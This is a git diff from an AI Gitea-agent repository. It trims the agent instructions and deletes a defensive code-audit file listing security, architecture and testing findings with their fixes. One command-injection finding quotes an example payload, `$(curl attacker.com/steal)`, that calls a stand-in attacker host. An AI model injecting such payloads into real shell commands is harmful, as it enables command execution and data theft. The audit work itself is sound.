Compare commits
1 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 25473ed684 |
@@ -28,4 +28,3 @@ logs/
|
|||||||
agent_state.json
|
agent_state.json
|
||||||
ai-electronbun-todo-app/
|
ai-electronbun-todo-app/
|
||||||
test_connection.py
|
test_connection.py
|
||||||
.aider*
|
|
||||||
|
|||||||
@@ -1,11 +1,5 @@
|
|||||||
# Agent Instructions
|
# Agent Instructions
|
||||||
|
|
||||||
## Import Organization
|
|
||||||
|
|
||||||
- **Keep all imports at the top of the file.** Never add imports inside functions, methods, or conditional blocks.
|
|
||||||
- Use absolute imports for project modules (e.g., `from gitea.models import IssueModel`).
|
|
||||||
- Remove unused imports when editing files.
|
|
||||||
|
|
||||||
## Python Type Hints (REQUIRED)
|
## Python Type Hints (REQUIRED)
|
||||||
|
|
||||||
- **All functions must have type hints** for parameters and return types.
|
- **All functions must have type hints** for parameters and return types.
|
||||||
@@ -39,22 +33,6 @@
|
|||||||
assignee: Optional[str] = None
|
assignee: Optional[str] = None
|
||||||
```
|
```
|
||||||
|
|
||||||
## CUPID Programming Principles
|
|
||||||
|
|
||||||
- **Composable**: Write small, modular agents and tools with clear interfaces and dependency injection (`RunContext`).
|
|
||||||
- **Unix-like**: Each agent or tool has a single responsibility and does one thing well.
|
|
||||||
- **Predictable**: Require agents to submit final outputs via dedicated `reply` / `respond` tools accepting structured Pydantic models. Raise `ModelRetry` when inputs or tool usage fall short of the expected shape.
|
|
||||||
- **Idiomatic**: Follow modern Python type hints (`list[str]`, `dict[str, Any]`), standard Pydantic v2 schemas, and Pydantic AI idioms.
|
|
||||||
- **Domain-based**: Structure code and data around domain concepts (`NotificationDecision`, `CoordinatorDecision`, `ExecutionPlan`) rather than LLM framework mechanics.
|
|
||||||
|
|
||||||
## Pydantic AI Integration Guidelines
|
|
||||||
|
|
||||||
- Use `pydantic_ai.Agent` as the primary execution engine for all AI agents.
|
|
||||||
- Require agents to provide structured decisions by calling a dedicated `respond` tool that takes the response Pydantic model as an argument.
|
|
||||||
- Use `ModelRetry` (from `pydantic_ai`) inside tools or validators to force the LLM to retry when it returns raw strings or incorrect parameter shapes.
|
|
||||||
- Pass runtime dependencies into tools using `pydantic_ai.RunContext` and typed dependency containers.
|
|
||||||
- Register tools using `@agent.tool` or modular toolsets for clean separation of concerns.
|
|
||||||
|
|
||||||
## Follow all instructions provided in the system prompt.
|
## Follow all instructions provided in the system prompt.
|
||||||
- Keep responses concise and direct.
|
- Keep responses concise and direct.
|
||||||
- Minimize output tokens.
|
- Minimize output tokens.
|
||||||
@@ -73,7 +51,7 @@
|
|||||||
- `GITEA_URL` — Gitea API base URL (REQUIRED)
|
- `GITEA_URL` — Gitea API base URL (REQUIRED)
|
||||||
- `GITEA_TOKEN` — Gitea API token (REQUIRED)
|
- `GITEA_TOKEN` — Gitea API token (REQUIRED)
|
||||||
- `GITEA_REPOS_ROOT` — Local path to clone repos to (REQUIRED)
|
- `GITEA_REPOS_ROOT` — Local path to clone repos to (REQUIRED)
|
||||||
- `AGENT_MODEL_ID` — LM Studio model ID (default: `qwen3.6-35b-a3b-mtp@iq4_nl`)
|
- `AGENT_MODEL_ID` — LM Studio model ID (default: `qwen/qwen3.6-35b-a3b`)
|
||||||
- `AGENT_MAX_RETRIES` — Max retries per task (default: `2`)
|
- `AGENT_MAX_RETRIES` — Max retries per task (default: `2`)
|
||||||
|
|
||||||
# Architecture
|
# Architecture
|
||||||
|
|||||||
-442
@@ -1,442 +0,0 @@
|
|||||||
# Bad Code Analysis
|
|
||||||
|
|
||||||
## 1. Security Vulnerabilities
|
|
||||||
|
|
||||||
### 1.1 Hardcoded Credentials in Git Credentials File [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `gitea/workspace.py:46`
|
|
||||||
|
|
||||||
```python
|
|
||||||
cred_line = f"{parsed.scheme}://meeks-ai:{GITEA_TOKEN}@{parsed.netloc}\n"
|
|
||||||
```
|
|
||||||
|
|
||||||
The Gitea token is embedded directly in the git credential URL and written to `~/.git-credentials` in plaintext. Anyone with filesystem access can read the token. This is a critical credential exposure vulnerability.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Replaced the plaintext `~/.git-credentials` storage and the local git `credential.helper store` setup with local repository-scoped `http.extraHeader` configuration. The token is dynamically Base64 encoded and passed as `Authorization: Basic <base64>` for cloning and local repository Git operations, ensuring credentials are never stored globally or in plaintext outside the repository's configuration.
|
|
||||||
|
|
||||||
### 1.2 Secrets Set as Environment Variables at Import Time [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `gitea/config.py:38-43`
|
|
||||||
|
|
||||||
```python
|
|
||||||
os.environ["GITEA_SERVER_URL"] = GITEA_URL
|
|
||||||
os.environ["GITEA_SERVER_TOKEN"] = GITEA_TOKEN
|
|
||||||
```
|
|
||||||
|
|
||||||
Secrets were injected into the global environment at module import time. This polluted the process environment, made secrets discoverable via `os.environ`, and could leak into child processes, logs, and debugging tools.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Removed the code block writing secrets to `os.environ` at import time in `gitea/config.py`.
|
|
||||||
|
|
||||||
|
|
||||||
### 1.3 Hardcoded Personal Email [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `gitea/workspace.py:60`
|
|
||||||
|
|
||||||
```python
|
|
||||||
email = user.email or f"{user.login or 'agent'}@noreply.gitea"
|
|
||||||
```
|
|
||||||
|
|
||||||
A personal email address was hardcoded as a fallback. This has been resolved by using a dynamic fallback email based on the authenticated user's login name.
|
|
||||||
|
|
||||||
### 1.4 No Input Sanitization in Shell Commands [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `gitea/tools/coding_tools.py:266`, `coding_tools.py:200`
|
|
||||||
|
|
||||||
```python
|
|
||||||
command: str = f"grep -ri '{pattern}' {resolved}"
|
|
||||||
```
|
|
||||||
|
|
||||||
```python
|
|
||||||
if "tea pr create" in command:
|
|
||||||
```
|
|
||||||
|
|
||||||
User-controlled or LLM-generated strings were interpolated directly into shell commands with `shell=True`. This was a command injection vulnerability. The LLM could have been prompted to inject commands like `$(curl attacker.com/steal)` into file paths or search patterns.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Modified `grep_search` to invoke the `grep` subprocess safely with `shell=False` and a list of command arguments `["grep", "-ri", pattern, resolved]`, eliminating shell interpolation and command injection risks. Added corresponding test assertions to verify `shell=False` execution.
|
|
||||||
|
|
||||||
## 2. Architecture Anti-Patterns
|
|
||||||
|
|
||||||
### 2.1 God Class: GiteaClient [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `gitea/client.py` (451 lines, 30+ methods)
|
|
||||||
`GiteaClient` implements 5 interfaces (`IssuesClient`, `PullRequestsClient`, `FilesClient`, `RefsClient`, `ReposClient`) and contains 30+ methods covering issues, PRs, files, refs, notifications, and repository operations. This violates the Single Responsibility Principle. Any change to one area (e.g., adding a new issue endpoint) requires touching a massive, unrelated class.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Refactored `GiteaClient` from a 502-line God Class into a ~70-line facade that provides access to 5 focused sub-clients, each responsible for a single domain:
|
|
||||||
- `gitea/issues_client.py` - `IssuesClient` (9 methods for issue operations)
|
|
||||||
- `gitea/prs_client.py` - `PullRequestsClient` (17 methods for PR operations)
|
|
||||||
- `gitea/files_client.py` - `FilesClient` (4 methods for file and git ref operations)
|
|
||||||
- `gitea/notifications_client.py` - `NotificationsClient` (2 methods for notification operations)
|
|
||||||
- `gitea/repos_client.py` - `ReposClient` (2 methods for repository and user operations)
|
|
||||||
|
|
||||||
Each sub-client follows the Single Responsibility Principle and is independently testable. The `GiteaClient` now only handles HTTP client lifecycle (`__init__`, `close`, `__enter__`, `__exit__`, `__del__`) and exposes the sub-clients as attributes (`client.issues`, `client.prs`, `client.files`, `client.notifications`, `client.repos`). All callers were updated to use the sub-clients directly.
|
|
||||||
|
|
||||||
### 2.2 Triple Layer of Indirection (Facade Anti-Pattern) [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `gitea/client.py` -> `gitea/tools/gitea_tools.py` -> `gitea/tools/issue_tools.py`
|
|
||||||
|
|
||||||
```
|
|
||||||
CodingAgent calls GiteaTools.add_comment()
|
|
||||||
-> GiteaTools delegates to IssueTools.add_comment()
|
|
||||||
-> IssueTools calls GiteaClient.add_comment()
|
|
||||||
```
|
|
||||||
|
|
||||||
Each layer adds zero value — no caching, no validation, no abstraction benefit. It's just pass-through delegation that makes the code harder to navigate and debug.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Removed the `GiteaTools` facade class entirely. The `AgentDispatcher`, `AgentOrchestrator`, and `TaskProcessor` classes now use the focused tool classes (`IssueTools`, `PRTools`, `FileTools`, `GitTools`) directly. This eliminates the unnecessary indirection layer and makes the code easier to navigate and debug. The `gitea/tools/gitea_tools.py` file and its corresponding test file `tests/test_gitea_tools.py` were deleted.
|
|
||||||
|
|
||||||
### 2.3 Useless Factory Pattern [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `core/factory.py`
|
|
||||||
|
|
||||||
```python
|
|
||||||
@staticmethod
|
|
||||||
def create_coding_agent(model_name: str) -> CodingAgent:
|
|
||||||
return CodingAgent(model_name)
|
|
||||||
```
|
|
||||||
|
|
||||||
Every factory method was a static method that directly instantiated and returned the object with no polymorphism or abstraction. This added a useless layer of indirection.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
The factory classes were completely removed. The components (`NotificationReaderAgent`, `CodingAgent`, etc.) are now imported and instantiated directly where they are used. The `core/factory.py` file was deleted.
|
|
||||||
|
|
||||||
### 2.4 Duplicate Agent Classes with Identical Prompts [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `core/coding_agent.py:13`, `core/planning_agent.py:13`
|
|
||||||
|
|
||||||
```python
|
|
||||||
# coding_agent.py
|
|
||||||
self.system_prompt = CODING_AGENT_SYSTEM_PROMPT
|
|
||||||
|
|
||||||
# planning_agent.py
|
|
||||||
self.system_prompt = CODING_AGENT_SYSTEM_PROMPT
|
|
||||||
```
|
|
||||||
|
|
||||||
`CodingAgent` and `PlanningAgent` are separate classes that use the exact same system prompt. There is no behavioral differentiation — they are identical code with different names. This is copy-paste duplication.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Created a distinct, tailored `PLANNING_AGENT_SYSTEM_PROMPT` in [prompts.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/prompts.py) specifically for the planning phase (focusing on research and drafting implementation plans without instructions on Git checkout/commit/PR lifecycle). Updated [planning_agent.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/planning_agent.py) to import and use the new prompt and added strict type hints to both [planning_agent.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/planning_agent.py) and [coding_agent.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/coding_agent.py).
|
|
||||||
|
|
||||||
|
|
||||||
### 2.5 Vacuous Interface Hierarchy [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `core/interfaces.py`
|
|
||||||
The ABC interfaces (`IssuesClient`, `PullRequestsClient`, etc.) are defined but serve no practical purpose. `GiteaClient` directly inherits from all of them, but since there is only one implementation, the interfaces add no value. They neither enable mocking in tests nor allow swapping implementations. They are interfaces in name only.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Removed the vacuous interfaces entirely. Deleted `core/interfaces.py` and updated `GiteaClient` (`gitea/client.py`) and `BaseAgent` (`core/agent.py`) to no longer inherit from or import these unused Abstract Base Classes.
|
|
||||||
|
|
||||||
|
|
||||||
## 3. Error Handling Problems
|
|
||||||
|
|
||||||
### 3.1 Bare Except Clauses Swallowing All Errors [RESOLVED]
|
|
||||||
|
|
||||||
Scattered throughout the codebase (especially in `core/dispatcher.py` when retrieving files, comments, or reviews):
|
|
||||||
|
|
||||||
```python
|
|
||||||
# core/dispatcher.py:475
|
|
||||||
except Exception:
|
|
||||||
pass
|
|
||||||
```
|
|
||||||
|
|
||||||
Bare/silent `except Exception` blocks caught all unexpected errors and bypassed logging or error handling, making debugging difficult.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Refactored all silent `except Exception: pass` blocks in `core/dispatcher.py` to capture the exception and log a warning with `logger.warning(..., exc_info=True)`. This preserves visibility of API or filesystem errors during issue and PR task processing.
|
|
||||||
|
|
||||||
### 3.2 `print()` Mixed with Logging Framework [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `gitea/client.py:41, 61, 176, 218, 237, 420, 431, 449`
|
|
||||||
The codebase uses Python's `logging` module in some places but falls back to `print()` for error output in `GiteaClient`. This creates inconsistent log output, bypasses log rotation, and makes it impossible to filter or route errors through structured logging.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Replaced all `print()` statements in `gitea/client.py`, `gitea/tools/pr_tools.py`, and `gitea/tools/issue_tools.py` with standard Python logging calls using `logger.error(..., exc_info=True)`. Logger objects are initialized per module and consistent log/error handling is established.
|
|
||||||
|
|
||||||
### 3.3 Silent Failure in `list_assigned_issues` [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `gitea/client.py:161-162`
|
|
||||||
|
|
||||||
```python
|
|
||||||
repo_owner = r.owner if hasattr(r, 'owner') else (r.get("owner") or {}).get("login", "")
|
|
||||||
repo_name = r.name if hasattr(r, 'name') else r.get("name", "")
|
|
||||||
```
|
|
||||||
|
|
||||||
The code checks `hasattr` as a fallback, which means the `RepositoryModel` type is sometimes a Pydantic model and sometimes a raw `dict`. This is a type inconsistency that indicates the model is not being used correctly.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Removed the redundant `hasattr` checks and fallback dictionary access in both `list_assigned_issues` and `list_assigned_pull_requests` methods of `GiteaClient`. Because `RepositoryModel` is used consistently, properties `r.owner` and `r.name` are accessed directly.
|
|
||||||
|
|
||||||
## 4. Dangerous Side Effects
|
|
||||||
|
|
||||||
### 4.1 `os.chdir()` in Dispatcher [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `core/dispatcher.py:680-684`
|
|
||||||
|
|
||||||
```python
|
|
||||||
original_cwd = os.getcwd()
|
|
||||||
if os.path.isdir(str(repo_path)):
|
|
||||||
os.chdir(str(repo_path))
|
|
||||||
changed_dir = True
|
|
||||||
```
|
|
||||||
|
|
||||||
Changing the working directory in a long-running async process is dangerous. If any coroutine runs concurrently or if the `finally` block fails to restore the directory, all subsequent file operations in the process will target the wrong directory. The `finally` restoration is a band-aid, not a solution.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Removed the `os.chdir()` call and related directory-restoration logic completely from `AgentDispatcher.dispatch`. Since all subprocess commands, git operations, and file operations in `WorkspaceManager` and `CodingTools` are invoked with explicit local repository working directory parameters (`cwd` or `-C`), changing the global process directory is completely unnecessary and has been safely eliminated.
|
|
||||||
|
|
||||||
### 4.2 Destructive `sanitize_repo` [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `gitea/workspace.py:81-118`
|
|
||||||
|
|
||||||
```python
|
|
||||||
subprocess.run(["git", "-C", str(repo_path), "reset", "--hard", "HEAD"], ...)
|
|
||||||
subprocess.run(["git", "-C", str(repo_path), "clean", "-fdx"], ...)
|
|
||||||
```
|
|
||||||
|
|
||||||
`git reset --hard HEAD` and `git clean -fdx` destroy all uncommitted changes and untracked files. This is destructive and irreversible. In an automated agent context, this could delete work that was in progress.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Refactored `WorkspaceManager.sanitize_repo` to first check if there are uncommitted changes or untracked files using `git status --porcelain`. If any are found, it runs `git stash push -u -m "Auto-backup before agent sanitization"` to preserve them in git stash. Additionally, if any of the sanitization subprocess calls fail, the method raises a `RuntimeError` rather than catching and swallowing it, avoiding silent downstream failures.
|
|
||||||
|
|
||||||
### 4.3 Global `git config --global --unset` [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `gitea/workspace.py:22-33`
|
|
||||||
|
|
||||||
```python
|
|
||||||
subprocess.run(["git", "config", "--global", "--unset", "credential.helper"], ...)
|
|
||||||
subprocess.run(["git", "config", "--global", "--unset", "user.name"], ...)
|
|
||||||
```
|
|
||||||
|
|
||||||
Unsetting global git config on every `WorkspaceManager` instantiation affects the entire user's git configuration, not just the agent's workspace. This is a dangerous side effect that could break the user's other git workflows.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Removed the `_configure_git_credentials()` method entirely. The agent now relies on local repository-scoped `http.extraHeader` configurations and local git configs, avoiding any global config changes and eliminating global side-effects.
|
|
||||||
|
|
||||||
## 5. Code Quality Issues
|
|
||||||
|
|
||||||
### 5.1 `Any` Type Overuse [RESOLVED]
|
|
||||||
|
|
||||||
Throughout the codebase, `Any` was used where specific types would be better:
|
|
||||||
|
|
||||||
```python
|
|
||||||
# gitea/client.py:34
|
|
||||||
def get_authenticated_user(self) -> UserModel | None:
|
|
||||||
# Returns UserModel but internally handles raw dict
|
|
||||||
|
|
||||||
# gitea/tools/gitea_tools.py:58
|
|
||||||
def list_assigned_issues(self) -> list[dict]: # Bare dict, not dict[str, Any]
|
|
||||||
```
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Replaced `Any` type annotations with `object` or specific types across the codebase:
|
|
||||||
- `core/agent.py`: Changed `Any` to `object` for message parameters and model attributes
|
|
||||||
- `gitea/files_client.py`: Changed `dict[str, Any]` to `dict[str, object]`
|
|
||||||
- `gitea/issues_client.py`: Changed `dict[str, Any]` to `dict[str, str | list[str]]` for issue data
|
|
||||||
- `gitea/models.py`: Changed `dict[str, Any]` to `dict[str, object]` for `head` and `base` fields
|
|
||||||
- `gitea/notifications_client.py`: Changed `list[dict[str, Any]]` to `list[dict[str, object]]`
|
|
||||||
- `gitea/prs_client.py`: Changed `dict[str, Any]` to specific types (`dict[str, str | None]`, `dict[str, str]`, `dict[str, object]`) and introduced `ReviewRequest` dataclass for review payloads
|
|
||||||
- `gitea/repos_client.py`: Changed `list[dict[str, Any]]` to `list[dict[str, object]]`
|
|
||||||
- `gitea/tools/git_tools.py`: Removed unused `from typing import Any` import
|
|
||||||
|
|
||||||
### 5.2 `assert` Used for Control Flow [RESOLVED]
|
|
||||||
|
|
||||||
**Files:** `core/dispatcher.py:492, 741, 754`, `core/agent.py:74, 94`
|
|
||||||
|
|
||||||
```python
|
|
||||||
issue_info = self.item.task_info
|
|
||||||
assert isinstance(issue_info, IssueModel)
|
|
||||||
```
|
|
||||||
|
|
||||||
`assert` can be disabled with `python -O` (optimize flag). Using it for runtime type validation means the check disappears in production builds.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Replaced all control-flow `assert` statements with proper runtime checks (raising `TypeError` for invalid task info in `core/dispatcher.py`, and `RuntimeError` if model initialization fails in `core/agent.py`). Also added unit tests in `tests/test_dispatcher.py` to verify correct raising of `TypeError` when invalid task info models are provided.
|
|
||||||
|
|
||||||
|
|
||||||
### 5.3 Hardcoded Values Scattered Throughout [RESOLVED]
|
|
||||||
|
|
||||||
**Files:** `core/dispatcher.py:82`, `gitea/client.py:67,440`, `gitea/config.py`
|
|
||||||
|
|
||||||
```python
|
|
||||||
# core/dispatcher.py:82
|
|
||||||
agent_usernames = {ai_username, "agent-bot"} # Hardcoded fallback username
|
|
||||||
|
|
||||||
# gitea/client.py:67
|
|
||||||
if (r.get("owner") or {}).get("login") == "meeks": # Hardcoded org filter
|
|
||||||
|
|
||||||
# gitea/client.py:440
|
|
||||||
if owner_login == "meeks": # Hardcoded org filter in notifications
|
|
||||||
```
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Added configurable settings `agent_usernames` (list of additional agent usernames) and `gitea_org_filter` (organization name for repo filtering) to `gitea/config.py`. Updated `core/dispatcher.py` to use `AGENT_USERNAMES` from config instead of hardcoded `"agent-bot"`. Updated `gitea/client.py` to use `GITEA_ORG_FILTER` in both `list_all_user_repos()` and `list_unread_notifications()` methods. The `agent_model_id` was already configurable via environment variables.
|
|
||||||
|
|
||||||
### 5.4 Inconsistent Return Types [RESOLVED]
|
|
||||||
|
|
||||||
Methods that should return structured data return `str` instead:
|
|
||||||
|
|
||||||
```python
|
|
||||||
# gitea/tools/issue_tools.py:15
|
|
||||||
def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
|
|
||||||
# Returns IssueModel instead of JSON string
|
|
||||||
|
|
||||||
# gitea/tools/pr_tools.py:19
|
|
||||||
def get_pull_request(self, owner: str, repo: str, pull_number: int) -> PullRequestModel:
|
|
||||||
# Returns PullRequestModel instead of JSON string
|
|
||||||
|
|
||||||
# gitea/tools/pr_tools.py:122
|
|
||||||
def create_pull_request(...) -> PullRequestModel:
|
|
||||||
# Returns PullRequestModel instead of JSON string
|
|
||||||
|
|
||||||
# gitea/tools/pr_tools.py:139
|
|
||||||
def update_pull_request(...) -> PullRequestModel:
|
|
||||||
# Returns PullRequestModel instead of JSON string
|
|
||||||
```
|
|
||||||
|
|
||||||
The callers (LLM agent framework) handle model-to-JSON serialization automatically, so returning the model object directly provides type safety without losing the ability to display structured data to the LLM.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Updated `IssueTools.get_issue` to return `IssueModel`, `PRTools.get_pull_request` to return `PullRequestModel`, and `PRTools.create_pull_request` / `PRTools.update_pull_request` to return `PullRequestModel`. All methods now have proper return type hints and raise exceptions on error instead of returning error strings. Updated corresponding tests to verify model objects are returned directly.
|
|
||||||
|
|
||||||
### 5.5 Mutable Default Arguments (Near Miss)
|
|
||||||
|
|
||||||
While the codebase correctly uses `Field(default_factory=list)` in Pydantic models, the `CoordinatorTools` and `NotificationTools` classes use mutable instance attributes (`self.arguments: dict[str, Any] = {}`) that are shared state across tool calls. If two tool calls happen before the next decision, the arguments accumulate.
|
|
||||||
|
|
||||||
## 6. Performance Issues
|
|
||||||
|
|
||||||
### 6.1 Creating HTTP Client Per Request [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `gitea/client.py`
|
|
||||||
|
|
||||||
Every HTTP method previously created a new `httpx.Client()` context manager. This meant a new TCP connection was established for every API call. A single `poll_and_dispatch` cycle could create 10+ HTTP clients.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Updated `GiteaClient` to initialize a single shared `self.client: httpx.Client = httpx.Client(headers=self.headers)` during class instantiation. Removed the block-scoped `with httpx.Client() as client:` contexts and direct `httpx.get()` calls, and updated the test suite (`tests/test_client.py`) to patch `httpx.Client.get` instead.
|
|
||||||
|
|
||||||
|
|
||||||
### 6.2 No Caching
|
|
||||||
|
|
||||||
- Notifications are re-fetched every 60 seconds without any deduplication beyond the `since` timestamp
|
|
||||||
- PR diffs are fetched fresh every time a PR is processed
|
|
||||||
- File contents are fetched from the remote API instead of the local workspace when the repo is already cloned
|
|
||||||
|
|
||||||
## 7. Concurrency Issues
|
|
||||||
|
|
||||||
### 7.1 WorkQueue Claims Thread-Safety But Has None [RESOLVED]
|
|
||||||
|
|
||||||
**File:** `core/queue.py:19`
|
|
||||||
|
|
||||||
```python
|
|
||||||
class WorkQueue:
|
|
||||||
"""Thread-safe work queue grouped by repo."""
|
|
||||||
```
|
|
||||||
|
|
||||||
The docstring claimed thread-safety, but there were no locks. This has been resolved by using a `threading.Lock` inside all queue methods to serialize access to the internal lists and sets.
|
|
||||||
|
|
||||||
### 7.2 No Mutex on Workspace Operations
|
|
||||||
|
|
||||||
Multiple work items for the same repo can trigger concurrent `git clone`, `git reset`, and `git clean` operations. There is no locking to prevent race conditions on the filesystem.
|
|
||||||
|
|
||||||
## 8. Prompt Engineering Issues
|
|
||||||
|
|
||||||
### 8.1 Massive Embeded System Prompts
|
|
||||||
|
|
||||||
**File:** `core/coding_prompt.py` (221 lines)
|
|
||||||
A 221-line system prompt is embedded as a module-level string constant. This makes the prompt impossible to version-control separately, A/B test, or update without redeploying code. Prompts should be in separate files or a database.
|
|
||||||
|
|
||||||
### 8.2 Duplicated Prompt Content [RESOLVED]
|
|
||||||
|
|
||||||
`CODING_AGENT_SYSTEM_PROMPT` is used by both `CodingAgent` and `PlanningAgent` with no differentiation. If the planning agent needs different instructions, both agents must be updated simultaneously.
|
|
||||||
|
|
||||||
**Resolution:**
|
|
||||||
Defined `PLANNING_AGENT_SYSTEM_PROMPT` inside [prompts.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/prompts.py) to differentiate planning-specific instructions from coding/execution instructions.
|
|
||||||
|
|
||||||
|
|
||||||
## 9. Testing Issues
|
|
||||||
|
|
||||||
### 9.1 Tests Don't Mock HTTP Calls
|
|
||||||
|
|
||||||
**File:** `tests/test_client.py` and others
|
|
||||||
The tests appear to test real HTTP calls or minimal mocking. The `GiteaClient` creates its own `httpx.Client()` internally, making it impossible to inject a mock client. Tests should use dependency injection or `unittest.mock.patch` to avoid network calls.
|
|
||||||
|
|
||||||
### 9.2 No Tests for Critical Paths
|
|
||||||
|
|
||||||
- `WorkspaceManager.sanitize_repo()` (destructive git operations) has no tests
|
|
||||||
- `CodingTools.run_command()` (shell execution) has no tests
|
|
||||||
- `AgentOrchestrator.poll_and_dispatch()` (main polling loop) has no integration tests
|
|
||||||
- `dispatcher.py` (763 lines) has no dedicated test coverage
|
|
||||||
|
|
||||||
## 10. CUPID Programming Violations
|
|
||||||
|
|
||||||
### 10.1 Not Clear [RESOLVED]
|
|
||||||
|
|
||||||
- **Excessive indirection:** `GiteaTools` -> `IssueTools` -> `GiteaClient` adds 3 levels of pass-through with zero value [RESOLVED - see 2.2]
|
|
||||||
- **Unclear responsibilities:** `GiteaClient` handles issues, PRs, files, refs, notifications, and repository management — 5 distinct domains [RESOLVED - see 2.1]
|
|
||||||
- **Confusing naming:** `add_comment` and `add_comment_to_issue` do the same thing; `add_label` and `add_label_to_issue` do the same thing [RESOLVED]
|
|
||||||
|
|
||||||
**Resolution (Confusing Naming):**
|
|
||||||
Removed the duplicate methods `add_comment` and `add_label` from `IssueTools`. Only the more descriptive `add_comment_to_issue` and `add_label_to_issue` methods remain. Updated `core/dispatcher.py` to remove the duplicate tool registrations and updated `core/coding_prompt.py` to reference only `add_comment_to_issue`. Removed corresponding duplicate tests from `tests/test_issue_tools.py`.
|
|
||||||
|
|
||||||
### 10.2 Not Understandable
|
|
||||||
|
|
||||||
- **Massive files:** `dispatcher.py` (763 lines), `coding_prompt.py` (221 lines), `client.py` (451 lines) are too large to comprehend in a single reading
|
|
||||||
- **Complex control flow:** `IssueTaskProcessor.process()` (lines 452-653) has 7 nested `if/elif` branches, multiple `try/except` blocks, and inline subprocess calls — impossible to mentally trace
|
|
||||||
- **Mixed concerns:** `workspace.py` mixes git credential management, repo cloning, and user configuration setup
|
|
||||||
|
|
||||||
### 10.3 Not Performant
|
|
||||||
|
|
||||||
- **HTTP client per request:** Every API call creates a new TCP connection (see section 6.1)
|
|
||||||
- **No connection pooling:** `httpx.Client()` should be a shared singleton
|
|
||||||
- **Redundant data fetching:** Fetches PR diff, PR files, PR comments, and PR reviews separately when they could be batched
|
|
||||||
- **Inline subprocess calls:** Multiple `subprocess.run()` calls in `IssueTaskProcessor.process()` for git operations instead of using a git library
|
|
||||||
|
|
||||||
### 10.4 Not Inspectable
|
|
||||||
|
|
||||||
- **Minimal logging:** Most errors use `print()` instead of the logging framework
|
|
||||||
- **No metrics:** No counters for API calls, errors, processing times, or queue depth
|
|
||||||
- **No structured tracing:** No request IDs, no correlation between notification receipt and processing
|
|
||||||
- **State file is opaque:** `agent_state.json` is a simple timestamp with no versioning or migration
|
|
||||||
|
|
||||||
### 10.5 Not Delightful
|
|
||||||
|
|
||||||
- **Poor error messages:** `"Error getting issue: {str(e)}"` gives no actionable information
|
|
||||||
- **No user feedback:** When the agent fails, there is no graceful degradation or helpful error message
|
|
||||||
- **Destructive operations:** `git reset --hard` and `git clean -fdx` with no confirmation or dry-run option
|
|
||||||
- **Silent failures:** Methods return empty lists or `None` on error with no way to detect the failure downstream
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
| Category | Severity | Total | Unresolved |
|
|
||||||
| -------------------------- | -------- | ----- | ---------- |
|
|
||||||
| Security Vulnerabilities | Critical | 4 | 0 |
|
|
||||||
| Architecture Anti-Patterns | High | 5 | 0 |
|
|
||||||
| Error Handling Problems | High | 3 | 0 |
|
|
||||||
| Dangerous Side Effects | High | 3 | 0 |
|
|
||||||
| Code Quality Issues | Medium | 5 | 1 |
|
|
||||||
| Performance Issues | Medium | 2 | 1 |
|
|
||||||
| Concurrency Issues | Medium | 2 | 1 |
|
|
||||||
| Prompt Engineering Issues | Medium | 2 | 1 |
|
|
||||||
| Testing Issues | Medium | 2 | 2 |
|
|
||||||
| CUPID Violations | High | 5 | 4 |
|
|
||||||
|
|
||||||
**Total: 33 issues identified, 10 unresolved.**
|
|
||||||
|
|
||||||
### Unresolved Issues
|
|
||||||
|
|
||||||
| # | Issue | Section |
|
|
||||||
| ---- | -------------------------------------- | ------- |
|
|
||||||
| 1 | Mutable Default Arguments (Near Miss) | 5.5 |
|
|
||||||
| 2 | No Caching | 6.2 |
|
|
||||||
| 3 | No Mutex on Workspace Operations | 7.2 |
|
|
||||||
| 4 | Massive Embedded System Prompts | 8.1 |
|
|
||||||
| 5 | Tests Don't Mock HTTP Calls | 9.1 |
|
|
||||||
| 6 | No Tests for Critical Paths | 9.2 |
|
|
||||||
| 7 | Not Understandable | 10.2 |
|
|
||||||
| 8 | Not Performant | 10.3 |
|
|
||||||
| 9 | Not Inspectable | 10.4 |
|
|
||||||
| 10 | Not Delightful | 10.5 |
|
|
||||||
|
|
||||||
+77
-29
@@ -1,61 +1,108 @@
|
|||||||
|
import asyncio
|
||||||
import logging
|
import logging
|
||||||
|
import lmstudio as lms
|
||||||
from typing import Any, Callable
|
from typing import Any, Callable
|
||||||
from pydantic_ai import Agent
